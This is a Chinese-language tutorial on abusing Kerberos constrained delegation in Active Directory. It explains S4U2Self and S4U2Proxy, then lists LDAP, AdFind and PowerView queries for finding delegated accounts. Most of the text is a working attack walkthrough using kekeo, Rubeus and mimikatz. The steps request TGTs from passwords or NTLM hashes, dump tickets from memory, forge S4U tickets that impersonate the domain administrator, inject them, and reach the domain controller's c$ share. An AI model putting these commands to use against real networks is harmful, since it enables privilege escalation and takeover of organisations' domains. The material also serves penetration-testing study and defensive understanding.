一、约束性委派的原理：
由于非约束委派的不安全性，微软在windows server 2003中引入了约束委派，对Kerberos协议进行了拓展，引入了S4U，支持两个子协议：S4U2Self（Service for User to Self）和 S4U2proxy（Service for User to Proxy），这两个扩展都允许服务代表其他用户从KDC请求TGS/ST，下面详细分析一下两者的含义和区别：
S4U2self：
当服务账户开启了约束性委派时，那么该服务就可以代表访问到该服务的用户请求针对其自身的服务票据(ST)，也就是说当user1访问到了服务1，服务1以s4u2self的方式向KDC请求一张可以以user1身份访问自身服务1的、可用于转发的票据，实际还是访问的服务1，但是借助了user1的身份，目的就是拿到user1的授权数据，如果user1是以其他认证方式对服务1进行认证的（web、ntlm等），是获取不到访问服务1自身的st票据的，所以s4u2self就是用来解决这个问题的。
S4U2proxy：
服务1可以以用户的名义请求其它服务的ST，和self最大的区别就是self是请求自身服务，当需要以user1的身份访问其他服务，就需要s4u2proxy上场了，而约束委派就是限制了S4U2proxy扩展的访问范围
具体流程：
1.用户user1想要访问服务1
2.服务1通过s4u2self协议向KDC请求一个授予user1可以访问服务1自身、可用于转发的一个票据ST1
3.服务1想要以user1的身份访问服务2
4. 服务1通过s4u2proxy协议向KDC获取访问服务2的票据ST2
5.最后获得票据成功，访问到服务2
约束与非约束的区别：
与非约束性委派的最大区别就是，约束性委派获取到的是TGS，所以只能以用户的身份访问特定的服务，也就是在模拟用户访问服务的同时，对能访问的服务范围进行了限制，并且TGT不再会保存到lsass中，所以不能像非约束委派一样直接导出票据再注入进行利用了
二、约束性委派的配置和发现：
1、配置约束性委派：
配置服务账户test2对域控机器PANDA的特定服务cifs的约束性委派
不过在实际环境中，基本不会有企业会这么配置的，所以约束性委派用的也不是很多
当服务账号或者主机被设置为约束性委派时，其userAccountControl属性会包含TRUSTED_TO_AUTH_FOR_DELEGATION
而且msDS-AllowedToDelegateTo属性会包含被约束的特定服务
2、约束性委派的发现：
①利用ldapsearch
# 约束委派用户
ldapsearch -x -H ldap://域控ip:389 -D "域内用户@域名称" -b "DC=域名,DC=域名后缀" -w 域用户密码 "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
可以看查询到用户和可以委派的服务
# 约束委派机器
ldapsearch -x -H ldap://域控ip:389 -D "域内用户@域名称" -b "DC=域名,DC=域名后缀" -w 域用户密码 "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
②利用Adfind
# 约束委派用户
AdFind.exe -b "DC=域名,DC=域名后缀" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
# 约束委派机器
AdFind.exe -b "DC=域名,DC=域名后缀" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
③利用poweview(empire下的)
# 约束委派用户
powershell -exec bypass "Import-Module .\PowerView.ps1;Get-DomainUser -TrustedToAuth -Domain hack.com | select name,msds-allowedtodelegateto"
# 约束委派机器
powershell -exec bypass "Import-Module .\PowerView.ps1;DomainComputer -TrustedToAuth -Domain hack.com | select name,msds-allowedtodelegateto"
④倾璇师傅的
# 约束委派机器
./goDomain -username 域名\\域用户名 -password 域用户密码 -base-dn dc=xx,dc=com(域名后缀) -host LDAP服务器ip(域控) -get-delegation-computers
三、约束性委派的利用：
1、当获取到配置了约束性委派的服务账户的明文密码或者hash，就可以伪造s4u请求，以任意用户的身份申请访问某服务的ST：
使用kekeo请求约束性委派服务用户的TGT
# 已知明文
tgt::ask /user:约束性委派服务用户名 /domain:域名全成称 /password:约束性委派服务用户密码 /ticket:test2tgt.kirbi
# 已知Hash
tgt::ask /user:约束性委派服务用户名 /domain:域名全成称 /ntlm:约束性委派服务用户hash /ticket:test2tgt.kirbi
②得到服务用户test2的TGT后，伪造s4u请求以域管权限访问cifs服务的TGS
Tgs::s4u /tgt:TGT_test2@HACK.COM_krbtgt~hack.com@HACK.COM.kirbi /user:administrator@域名全称 /service:cifs/域控主机名.域名全称
然后会生成两个TGS
③在当前目录下会生成s4u2self获取的st1和s4u2proxy获取到的st2，用mimikatz导入st2即可
mimikatz "privilege::debug" "kerberos::ptt xxx有cifs字符的.kirbi" "exit"
然后就可以访问域控的cifs服务了
dir \\域控主机名\c$
使用rubeus请求约束性委派服务用户的TGT
# 已知明文
Rubeus.exe asktgt /user:约束性委派服务用户名 /domain:域名全成称 /password:约束性委派服务用户密码
获取到的是base64编码的tgt
# 已知Hash
Rubeus.exe asktgt /user:约束性委派服务用户名 /domain:域名全成称 /ntlm:xxx
②得到服务用户的TGT后，伪造s4u请求以域管权限访问cifs服务的TGS
Rubeus.exe s4u /ticket:base64-tgt /impersonateuser:administrator /msdsspn:cifs/域控主机名.域名全称 /ptt
/msdsspn可以根据查出来的允许的服务进行更改，注意一定要用.域名全称的格式，否侧注入的票据无法访问
然后就可以访问域控的cifs服务了
dir \\域控主机名\c$
2、如果约束委派服务账户的明文密码和hash都不知道，在获取到约束委派服务账户所在的机器权限后或者是机器本身配置了约束委派，可以利用mimikatz导出机器内存中的约束委派服务用户test2的票据，再进行票据的注入：
①获取到约束委派服务账户所在机器的管理员权限后，使用mimikatz导出内存中的票据
mimikatz "privilege::debug" "sekurlsa::tickets /export" "exit"
需要管理员权限才能导出
获取到了服务用户test2的票据：
②得到服务用户test2的TGT票据后，伪造s4u请求以域管权限访问cifs服务的TGS
Tgs::s4u /tgt:[0;af0ef3]-2-1-40e10000-test2@krbtgt-HACK.COM.kirbi /user:administrator@hack.com /service:cifs/PANDA.hack.com
③用mimikatz导入ST2
mimikatz "privilege::debug" "kerberos::ptt TGS_administrator@hack.com@HACK.COM_cifs~PANDA.hack.com@HACK.COM.kirbi" "exit"
其实就是在获取约束委派服务用户TGT的方式和已知明文或hash的方式有所区别而已，后续伪造S4u请求获取TGS的方式都是一样的，导入票据后访问域控cifs服务即可
另一种约束委派的利用方式可以参考：
